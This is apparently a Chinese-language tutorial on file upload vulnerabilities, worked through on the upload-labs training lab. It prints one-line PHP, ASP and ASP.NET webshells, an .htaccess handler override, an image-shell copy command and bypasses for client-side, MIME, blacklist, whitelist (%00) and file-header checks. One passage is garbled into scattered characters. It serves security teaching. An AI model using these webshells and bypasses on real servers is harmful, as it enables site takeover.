文件上传,顾名思义就是上传文件的功能行为。将客户端数据以文件形式封装,通过网络协议发送到服务器端。在服务器端解析数据,最终在服务端硬盘上作为真实的文件保存。
漏洞产生原因:大部分的网站和应用系统都有上传功能,一些文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过 Web 访问的目录上传任意 PHP 文件,并能够将这些文件传递给 PHP 解释器,就可以在远程服务器上执行任意PHP脚本。另外,服务器配置不当、开源编辑器的上传漏洞、文件上传限制被绕过、文件解析漏洞导致文件执行等都有可能产生文件上传漏洞。
漏洞危害:当系统存在文件上传漏洞时,攻击者可以将病毒,木马,WebShell,其他恶意脚本或者是包含了脚本的图片上传到服务器,服务器如果对其解析执行则会造成很大的危害。
WebShell 就是以 asp、php、jsp 或者 cgi 等网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门。攻击者在入侵了一个网站后,通常会将这些 asp 或 php 后门文件与网站服务器 web 目录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)。
通常一个文件以HTTP协议进行上传时,将以POST请求发送至Web服务器,Web服务器收到请求并同意后,用户与Web服务器将建立连接,并传输数据。一般一个文件上传过程中的检测方式有∶
原理:通常在上传页面里含有专门检测文件上传的JavaScript代码,最常见的就是检测文件类型和扩展名是否合法。
方法:在本地浏览器客户端禁用JS即可;可使用火狐浏览器的Noscript插件、IE中禁用JS等方式实现。
测试:upload-labs/Pass-01
这里的js检测文件的扩展名,只允许.jpg、.png、.gif文件上传。
但我们可以禁用此js,或者用burp抓包修改文件类型(上传1.jpg修改为1.php)
按照惯例,上传最简单的一句话木马
<?php @eval($_POST['upload']); ?>
查看phpinfo()
上菜刀,可以看到整个网站的结构和文件,甚至是暴露了主机的磁盘存储!!可以进行任意非法增删查改!!网站(主机)至此沦陷……
"中国菜刀":仅需要一段简短的代码便可以管理网站。目前支持的服务器端脚本包括: php、ASP、ASP.NET、JSP等,并且支持HTTPS安全连接的网站。
PHP: <?php @eval($_POST['mima']);?> ASP: <%eval request("mima")%> ASP.NET <%@ Page Language="Jscript"%><%eval(Request.Item["mima"],"unsafe");%>
原理:检测图片类型文件上传过程中http包的Content-Type字段的值,来判断上传文件是否合法。
绕过方法:用burpsuite截取并修改数据包中文件的content-type类型进行绕过。
常见MIME类型:
测试:upload-labs/Pass-02
通过其源码发现仅仅判断content-type类型,因此上传1.php抓包修改content-type为图片类型:image/jpeg、image/png、image/gif
成功利用
黑名单策略
文件扩展名在黑名单中为不合法,一般有个专门的blacklist文件,里面会包含常见的危险脚本文件。
绕过方法
1.后缀大小写绕过:
在对后缀的判断中,如果只是对字符串进行单独的比较来判断是不是限制文件,可以采用后缀名大小写绕过形式。
测试:upload-labs/Pass-06
这里对文件后缀进行了限制,但未对字母大小写做任何处理,可以大小写绕过。
$file_ext = strtolower($file_ext); //转换为小写
2.空格绕过:
如果黑名单没有对后缀名进行去空处理,可以通过在后缀名后加空进行绕过。
$file_ext = trim($file_ext); //首尾去空
3.点绕过:
如果黑名单没有对后缀名进行去.处理,利用Windows系统的文件名特性,会自动去掉后缀名最后的.,通过在文件名后加.进行绕过。
$file_name = deldot($file_name);//删除文件名末尾的点
4.::$DATA
绕过:
如果黑名单没有对后缀名进行去::$DATA
处理,利用Windows下NTFS文件系统的一个特性(在php+windows的情况下:如果文件名+"::
D
A
T
A
"
会
把
:
:
DATA"会把::
DATA"会把::DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA
"之前的文件名),可以在后缀名后加::$DATA
。
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
5.双后缀名绕过:
如果黑名单是将问题后缀名替换为空,可以利用双写绕过进行文件上传。
$file_name = str_ireplace($deny_ext,"", $file_name);
6.配合文件解析漏洞绕过:
在IIS6.0的情况下有三种可以利用的手段
*.asa
、*.asp
格式的文件夹时其目录下的文件都会当做asp文件解析。*.asp;1.jpg
时,IIS会以ASP文件来解析,也就是说;起到了截断作用。Apache解析漏洞
在Apache 1.X与Apache 2.X中如果碰到文件名为demo.php.test
的文件会按php文件进行解析,根据Apache的解析规则,如果碰到不认识的拓展名便会进行遍历,直到碰到能够解析的拓展名。
在Apache根目录的coof/mime.types文件中有详细的可识别拓展名。
Nginx解析漏洞
在Nginx的服务器环境下,假如成功上传一张名为test.jpg的文件到网站根目录下,如果我们访问www.demo.com/test.jpg/test.php
这个虚构的目录服务器则会直接将test.jpg作为php文件进行解析。
7.htaccess绕过
当上传.htaccess
文件到网站目录时,该目录下的文件会按其配置生效解析。
条件
测试:upload-labs/Pass-04
代码:
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }
该代码对常见的多种类型文件后缀名进行了限制上传,但是仔细可以发现,并没有对htaccess
文件进行限制。于是,我们可以先上传一个htaccess
文件,再上传一个图片马,进行绕过检测上传。
.htaccess文件
AddType application/x-httpd-php .jpg
这样所有文件都会当成php来解析
白名单策略:文件扩展名不在白名单中为不合法。
绕过方法:服务端判断文件类型是从后往前判断,而对文件解析是从前往后解析,可以利用00截断的方
式进行绕过。如应用本来只允许上传jpg图片,那么可以构造文件名为xxx.php%00.jpg
,其中%00
为十六进制的0x00
字符,.jpg骗过了应用的上传文件类型检测,但对于服务器来说,因为%00
字符截断的关系,最终上传的文件变成了xxx.php
。
测试:upload-labs/Pass-12
白名单判断,但$img_path是直接拼接,因此可以利用%00截断绕过。
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
截断条件:php版本小于5.3.4,php的magic_quotes_gpc为OFF状态
文件头校验原理:判断文件头内容是否符合要求。
常见的文件头对应关系:
绕过文件头检查:上传图片马,通过添加文件头绕过图片类型内容检查。
突破getimagesize()函数:图像文件相关信息常用检测函数,用以获取文件类型,绕过只需要把文件头部分伪造好。
测试:upload-labs/Pass-14
源码:
function getReailFileType($filename){ $file = fopen($filename, "rb"); $bin = fread($file, 2); //只读2字节 fclose($file); $strInfo = @unpack("C2chars", $bin); $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); $fileType = ''; switch($typeCode){ case 255216: $fileType = 'jpg'; break; case 13780: $fileType = 'png'; break; case 7173: $fileType = 'gif'; break; default: $fileType = 'unknown'; } return $fileType; } $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $file_type = getReailFileType($temp_file); if($file_type == 'unknown'){ $msg = "文件未知,上传失败!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传出错!"; } } }
通过读文件的前2个字节判断文件类型,因此直接上传图片马即可,制作图片马(cmd下copy命令):
copy 1.gif /b + test.php /a shell.gif
直接访问图片并不能把图片当做PHP解析,因此还需要利用文件包含漏洞
##include.php <?php /* 本页面存在文件包含漏洞,用于测试图片马是否能正常运行! */ header("Content-Type:text/html;charset=utf-8"); $file = $_GET['file']; if(isset($file)){ include $file; }else{ show_source(__file__); } ?>
find / -name hacker.jsp
查看 hacker.jsp 文件存放的路径。如果可以直接以Web方式访问,则构造访问的URL,并通过浏览器访问 hacker.jsp,如果可以正常访问,则已经取得WebShell,测试结束。如果 hacker.jsp 无法通过 web 方式访问,例如 hacker.jsp 存放在 /home/tmp/ 目录下,而 /home/tomcat/webapps 目录对应http://www.example.com/,则进行下一步。[1] Web安全-文件上传漏洞与WAF绕过
[2] upload-labs通关记录